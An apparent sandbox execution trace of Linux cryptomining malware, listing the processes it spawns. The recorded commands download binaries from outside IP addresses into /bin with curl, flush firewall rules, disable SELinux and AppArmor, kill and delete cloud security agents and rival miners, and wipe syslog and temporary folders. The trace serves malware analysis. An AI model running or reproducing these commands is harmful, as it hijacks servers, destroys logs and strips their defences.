-
-
/usr/bin/pgreppgrep -f nbminer2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -f t-rex2⤵
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -f lolminer2⤵
-
-
/usr/bin/pgreppgrep -f pheonixminer2⤵
-
-
/usr/bin/pgreppgrep -f bminer2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -f gminer2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -f teamredminer2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -f nanominer2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -f srbminer2⤵
- Reads CPU attributes
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*xmrig*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*minerd*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*cpuminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*ethminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*nbminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*t-rex*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*lolminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*pheonixminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*bminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*gminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*teamredminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*nanominer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*srbminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*xmrig*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*minerd*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*cpuminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*ethminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*nbminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*t-rex*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*lolminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*pheonixminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*bminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*gminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*teamredminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*nanominer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*srbminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*xmrig*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*minerd*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*cpuminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*ethminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*nbminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*t-rex*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*lolminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*pheonixminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*bminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*gminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*teamredminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*nanominer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*srbminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*xmrig*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*minerd*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*cpuminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*ethminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*nbminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*t-rex*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*lolminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*pheonixminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*bminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*gminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*teamredminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*nanominer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*srbminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*xmrig*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*minerd*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*cpuminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*ethminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*nbminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*t-rex*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*lolminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*pheonixminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*bminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*gminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*teamredminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*nanominer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*srbminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*xmrig*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*minerd*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*cpuminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*ethminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*nbminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*t-rex*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*lolminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*pheonixminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*bminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*gminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*teamredminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*nanominer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*srbminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*xmrig*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*minerd*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*cpuminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*ethminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*nbminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*t-rex*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*lolminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*pheonixminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*bminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*gminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*teamredminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*nanominer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*srbminer*" -type f2⤵
-
-
/usr/bin/idid -u2⤵
-
-
/bin/rmrm -rf /tmp/afb9d13c3ff99bd200e1d08b90e80ca5d46f218881b8de66c87fc6cb104737d52⤵
-
-
/bin/rmrm -rf "/var/tmp/*"2⤵
-
-
/bin/rmrm -rf "/dev/shm/*"2⤵
-
-
/usr/bin/idid -u2⤵
-
-
/usr/bin/touchtouch /bin/.wtest2⤵
- Writes file to system bin folder
-
-
/bin/rmrm -f /bin/ksmd2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/ksmd http://45.74.7.234/assets/img/uploads/ksmd2⤵
-
-
/bin/sleepsleep 22⤵
-
-
/bin/rmrm -f /bin/ksmd2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/ksmd http://45.74.7.234/assets/img/uploads/ksmd2⤵
-
-
/bin/sleepsleep 22⤵
-
-
/bin/rmrm -f /bin/ksmd2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/ksmd http://45.74.7.234/assets/img/uploads/ksmd2⤵
-
-
/bin/sleepsleep 22⤵
-
-
/bin/rmrm -f /bin/ksmd2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/ksmd http://87.229.64.49/static/js/vendor/ksmd2⤵
- Writes file to system bin folder
-
-
/bin/rmrm -f /bin/javab2⤵
-
-
/bin/rmrm -f /bin/.log_713.gz2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/.log_713.gz http://87.229.64.49/static/js/vendor/log.gz2⤵
- Writes file to system bin folder
-
-
/bin/gunzipgunzip -c /bin/.log_713.gz2⤵
- System Network Configuration Discovery
-
-
/bin/gzipgzip -d -c /bin/.log_713.gz2⤵
-
-
/bin/rmrm -f /bin/.log_713.gz2⤵
-
-
/usr/bin/wcwc -c2⤵
-
-
/usr/bin/trtr -d "[:space:]"2⤵
-
-
/bin/rmrm -f /bin/javab /bin/.log_713.gz2⤵
-
-
/bin/sleepsleep 22⤵
-
-
/bin/rmrm -f /bin/javab2⤵
-
-
/bin/rmrm -f /bin/.log_713.gz2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/.log_713.gz http://87.229.64.49/static/js/vendor/log.gz2⤵
- Writes file to system bin folder
-
-
/bin/gunzipgunzip -c /bin/.log_713.gz2⤵
- System Network Configuration Discovery
-
-
/bin/gzipgzip -d -c /bin/.log_713.gz2⤵
-
-
/bin/rmrm -f /bin/.log_713.gz2⤵
-
-
/usr/bin/wcwc -c2⤵
-
-
/usr/bin/trtr -d "[:space:]"2⤵
-
-
/bin/rmrm -f /bin/javab /bin/.log_713.gz2⤵
-
-
/bin/sleepsleep 22⤵
-
-
/bin/rmrm -f /bin/javab2⤵
-
-
/bin/rmrm -f /bin/.log_713.gz2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/.log_713.gz http://87.229.64.49/static/js/vendor/log.gz2⤵
- Writes file to system bin folder
-
-
/bin/gunzipgunzip -c /bin/.log_713.gz2⤵
- System Network Configuration Discovery
-
-
/bin/gzipgzip -d -c /bin/.log_713.gz2⤵
-
-
/bin/rmrm -f /bin/.log_713.gz2⤵
-
-
/usr/bin/trtr -d "[:space:]"2⤵
-
-
/usr/bin/wcwc -c2⤵
-
-
/bin/rmrm -f /bin/javab /bin/.log_713.gz2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/javab http://87.229.64.49/static/js/vendor/javab2⤵
- Writes file to system bin folder
-
-
/usr/bin/trtr -d "[:space:]"2⤵
-
-
/usr/bin/wcwc -c2⤵
-
-
/bin/sleepsleep 22⤵
-
-
/bin/rmrm -f /bin/idle2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/idle http://87.229.64.49/static/js/vendor/idle2⤵
- Writes file to system bin folder
-
-
/bin/lsls -lh /bin/ksmd /bin/javab /bin/idle2⤵
-
-
/usr/bin/idid -u2⤵
-
-
/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
-
-
/usr/sbin/setenforcesetenforce 02⤵
- Disables SELinux
-
-
/bin/rmrm -rf "/tmp/addres*" "/tmp/walle*" /tmp/keys2⤵
-
-
/bin/rmrm -f /var/log/syslog2⤵
-
-
/bin/syncsync2⤵
-
-
/bin/grepgrep -i "[a]liyun"2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/grepgrep -i "[y]unjing"2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/sbin/setenforcesetenforce 02⤵
- Disables SELinux
-
-
/usr/sbin/serviceservice apparmor stop2⤵
-
/usr/bin/basenamebasename /usr/sbin/service3⤵
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"3⤵
- Enumerates kernel/hardware configuration
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"3⤵
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Enumerates kernel/hardware configuration
-
-
-
/usr/local/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/usr/local/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/usr/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/usr/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl disable apparmor2⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/usr/sbin/serviceservice aliyun.service stop2⤵
-
/usr/bin/basenamebasename /usr/sbin/service3⤵
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"3⤵
-
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
-
/usr/local/sbin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/usr/local/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/usr/sbin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/usr/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/sbin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl disable aliyun.service2⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/grepgrep aegis2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep Yun2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs rm -rf2⤵
-
/usr/local/sbin/rmrm -rf3⤵
-
-
/usr/local/bin/rmrm -rf3⤵
-
-
/usr/sbin/rmrm -rf3⤵
-
-
/usr/bin/rmrm -rf3⤵
-
-
/sbin/rmrm -rf3⤵
-
-
/bin/rmrm -rf3⤵
-
-
-
/usr/bin/xargsxargs dirname2⤵
-
/usr/local/sbin/dirnamedirname3⤵
-
-
/usr/local/bin/dirnamedirname3⤵
-
-
/usr/sbin/dirnamedirname3⤵
-
-
/usr/bin/dirnamedirname3⤵
-
-
-
/usr/bin/awkawk "{print \$11}"2⤵
-
-
/bin/grepgrep aegis2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs rm -rf2⤵
-
/usr/local/sbin/rmrm -rf3⤵
-
-
/usr/local/bin/rmrm -rf3⤵
-
-
/usr/sbin/rmrm -rf3⤵
-
-
/usr/bin/rmrm -rf3⤵
-
-
/sbin/rmrm -rf3⤵
-
-
/bin/rmrm -rf3⤵
-
-
-
/usr/bin/xargsxargs dirname2⤵
-
/usr/local/sbin/dirnamedirname3⤵
-
-
/usr/local/bin/dirnamedirname3⤵
-
-
/usr/sbin/dirnamedirname3⤵
-
-
/usr/bin/dirnamedirname3⤵
-
-
-
/usr/bin/awkawk "{print \$11}"2⤵
-
-
/bin/grepgrep hids2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs rm -rf2⤵
-
/usr/local/sbin/rmrm -rf3⤵
-
-
/usr/local/bin/rmrm -rf3⤵
-
-
/usr/sbin/rmrm -rf3⤵
-
-
/usr/bin/rmrm -rf3⤵
-
-
/sbin/rmrm -rf3⤵
-
-
/bin/rmrm -rf3⤵
-
-
-
/usr/bin/xargsxargs dirname2⤵
-
/usr/local/sbin/dirnamedirname3⤵
-
-
/usr/local/bin/dirnamedirname3⤵
-
-
/usr/sbin/dirnamedirname3⤵
-
-
/usr/bin/dirnamedirname3⤵
-
-
-
/usr/bin/awkawk "{print \$11}"2⤵
-
-
/bin/grepgrep cloudwalker2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/xargsxargs rm -rf2⤵
-
/usr/local/sbin/rmrm -rf3⤵
-
-
/usr/local/bin/rmrm -rf3⤵
-
-
/usr/sbin/rmrm -rf3⤵
-
-
/usr/bin/rmrm -rf3⤵
-
-
/sbin/rmrm -rf3⤵
-
-
/bin/rmrm -rf3⤵
-
-
-
/usr/bin/xargsxargs dirname2⤵
-
/usr/local/sbin/dirnamedirname3⤵
-
-
/usr/local/bin/dirnamedirname3⤵
-
-
/usr/sbin/dirnamedirname3⤵
-
-
/usr/bin/dirnamedirname3⤵
-
-
-
/usr/bin/awkawk "{print \$11}"2⤵
-
-
/bin/grepgrep titanagent2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep edr2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep aegis2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep Yun2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep hids2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep cloudwalker2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep titanagent2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep sgagent2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep barad_agent2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep hostguard2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep httpgd2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f "kworker_u8_0|xmrig"2⤵
-
-
/bin/rmrm -rf /usr/local/aegis2⤵
-
-
/bin/sleepsleep 12⤵
-
-
/usr/bin/chattrchattr -i /usr/bin/ip6network2⤵
- Removes the immutable protection flag from a file
- System Network Configuration Discovery
-
-
/usr/bin/chattrchattr -i /usr/bin/kswaped2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/chattrchattr -i /usr/bin/irqbalanced2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/chattrchattr -i /usr/bin/rctlcli2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/chattrchattr -i /usr/bin/systemd-network2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/chattrchattr -i /usr/bin/pamdicks2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/chattrchattr +i /usr/bin/ip6network2⤵
- Removes the immutable protection flag from a file
- System Network Configuration Discovery
-
-
/usr/bin/chattrchattr +i /usr/bin/kswaped2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/chattrchattr +i /usr/bin/irqbalanced2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/chattrchattr +i /usr/bin/rctlcli2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/chattrchattr +i /usr/bin/systemd-network2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/chattrchattr +i /usr/bin/pamdicks2⤵
- Removes the immutable protection flag from a file
-
-
/bin/sleepsleep 12⤵
-
-
/bin/rmrm -f /tmp/.null2⤵
-
-
/sbin/sysctlsysctl -w "vm.nr_hugepages=128"2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep "kworker -c\\"2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep log_2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep systemten2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
/usr/local/sbin/killkill -9 103⤵
- Disables SELinux
-
-
/usr/local/bin/killkill -9 103⤵
- Disables SELinux
-
-
/usr/sbin/killkill -9 103⤵
- Disables SELinux
-
-
/usr/bin/killkill -9 103⤵
- Disables SELinux
-
-
/sbin/killkill -9 103⤵
- Disables SELinux
-
-
/bin/killkill -9 103⤵
- Disables SELinux
-
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep netns2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep voltuned2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
